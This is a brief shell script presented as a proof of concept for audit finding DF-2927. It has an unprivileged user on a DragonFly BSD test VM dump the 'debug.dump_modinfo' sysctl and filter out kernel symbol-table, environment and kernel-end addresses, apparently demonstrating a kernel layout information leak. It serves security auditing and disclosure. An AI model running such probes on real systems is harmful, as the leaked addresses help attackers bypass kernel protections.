#!/bin/sh
# DF-2927 PoC — run on the DragonFly guest as an unprivileged user.
# Usage: ./run.sh   (from the audit host; drives dfbsd-qemu/vm.sh)
set -e
CD=$(dirname "$0")
"${CD}/../../dfbsd-qemu/vm.sh" run_user \
  'id; echo ---; sysctl -n debug.dump_modinfo; echo ---; \
   sysctl -n debug.dump_modinfo | grep -E "MODINFOMD_(SSYM|ESYM|ENVP)|DYNAMIC|KERNEND" -A2 | grep "value"'